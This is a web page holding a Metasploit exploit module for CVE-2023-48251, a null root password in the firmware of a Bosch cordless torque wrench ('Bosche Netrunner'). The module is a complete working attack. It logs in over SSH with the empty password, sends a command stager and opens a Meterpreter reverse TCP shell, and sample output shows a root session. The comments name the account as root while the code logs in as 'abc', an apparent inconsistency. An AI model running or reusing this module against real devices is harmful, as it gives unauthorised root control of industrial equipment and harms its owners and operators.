Home CVE-2023-48251 Boche Netrunner hardcoded password
Page

CVE-2023-48251 Boche Netrunner hardcoded password

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# CVE-2023-48251 is a pnumatic torque wrench running a ssh server, with a passwd 
# file (yes, passwd, not shadow, for reasons unknown to me...) with hardcoded 
# cedentials for the root account. The firmware once disassembled shows that 
# it runs a custom compiled version of dropbear ssh, it lacks a /etc/shadow 
# completely, and has a /etc/passwd file with only two lines.  The relevanet 
# line being: root:DNBrppmB3kkRs:0:0:root:/home/tool:/bin/sh
# Where the descrypt hash DNBrppmB3kkRs when run through John the Ripper, shows
# that this resolves to a null password.  Once I figured this out, the rest of the
# exploit was rather trivial, after recreating the environment similar to that on
# the tool.
#
#
# msf6 exploit(test/bosche_netrunner_rce) > exploit
#
# [*] Started reverse TCP handler on 192.168.1.177:4444
# [*] Trying to log in with hardcoded creds...
# [*] Trying to connect via SSH
# [+] Logged in...
# [+] Back that big ass up!
# [*] Sending stage (1017704 bytes) to 192.168.1.177
# [*] Command Stager progress - 100.00% done (808/808 bytes)
# [*] Ey girl? How's it feel to be a shishkabob?
# [*] Meterpreter session 4 opened (192.168.1.177:4444 -> 192.168.1.177:42836) at 2024-08-14 14:08:02 -0400
#
# meterpreter > getuid
# Server username: root
# meterpreter >


# oxagast / Marshall Whittaker

require 'msf/core'
require 'net/ssh'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH
  attr_accessor :ssh_socket
  def initialize(info = {})
    super(update_info(info,
      "Name" => 'Authenticated RCE via hardcoded credentials in Bosche Cordless Netrunner firmware <= V1300-SP1',
      "Description" => 'The Bosche Cordless Netrunner at versions below V1300-SP1 have hardcoded null root passwords.',
      "Author" => [
        "Marshall Whittaker",    # Metasploit Module
        "Andrea Palanca",        # Discovery
      ],
      "License" => MSF_LICENSE,
      "References" => [
        ["URL", "https://www.bosch.us/"],
        ["URL", "https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html"],
        ["URL", "https://nvd.nist.gov/vuln/detail/CVE-2023-48251"],
        ["CVE", "2023-48251"],
        ["CWE", "798"],
      ],
      "Targets" => [[ "Auto", {} ]],
      "Privileged" => true,
      "Arch"       => "x86",
      "DisclosureDate"   => "2024-1-8",
      "Notes" => {
        'Stability'   => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION]
      },

      "DefaultOptions"   =>
      {
        # so we can hop into ssh
        "PrependFork"  => true,
        "EXITFUNC"     => "process",
        "PAYLOAD"      => "linux/x86/meterpreter/reverse_tcp"
      },
      "Payload"          =>
      {
        "Space"        => 4000,
        "DisableNops"  => true
      },
      "Platform"         => "linux",
      "CmdStagerFlavor"  => "printf",
      "DefaultTarget"    => 0,
    ))
    register_options(
      [
        OptString.new('RHOST', [ true, "Target IP" ]),
        Opt::RPORT(22)
      ], self.class
    )
    # so we don't have extreneous opts
    deregister_options('SSL', 'SSLCERT', 'RHOSTS')
  end

  def login(ip, port)
    # user has hardcoded null pass on this version of firmware
    user = 'abc'
    # the most simplistic config
    print_status("Trying to log in with hardcoded creds...")
    ssh_opts = {
      :auth_methods  => ["password"],
      :port          => port,
      :password      => "", # hardcoded
      :proxy         => ssh_socket_factory,
      :non_interactive => true
    }
    # just for debugging
    print_status("Trying to connect via SSH")
    begin
      self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "Disconnected preauth")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "Connection timed out")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "Bad password (not vulnerable)")
    end
    if not self.ssh_socket
      # this usually happens when the port is in use already
      fail_with(Failure::Unknown, "Couldn't open socket")
    end
    return
  end

  def execute_command(cmd, opts = {})
    begin
      Timeout.timeout(5) do
        # send the stager
        self.ssh_socket.exec!("#{cmd}\n")
      end
    rescue ::Exception
    end
  end

  def exploit
    ip = datastore['RHOST']
    port = datastore['RPORT']
    if ip == ""
      fail_with(Failure::BadConfig, "You need to define a RHOST!")
    end
    login(ip, port)
    print_good("Logged in...")    
    print_good("Back that big ass up!")
    execute_cmdstager({:linemax => 1000})
    print_status("Ey girl? How's it feel to be a shishkabob?")
    self.ssh_socket.close
  end
end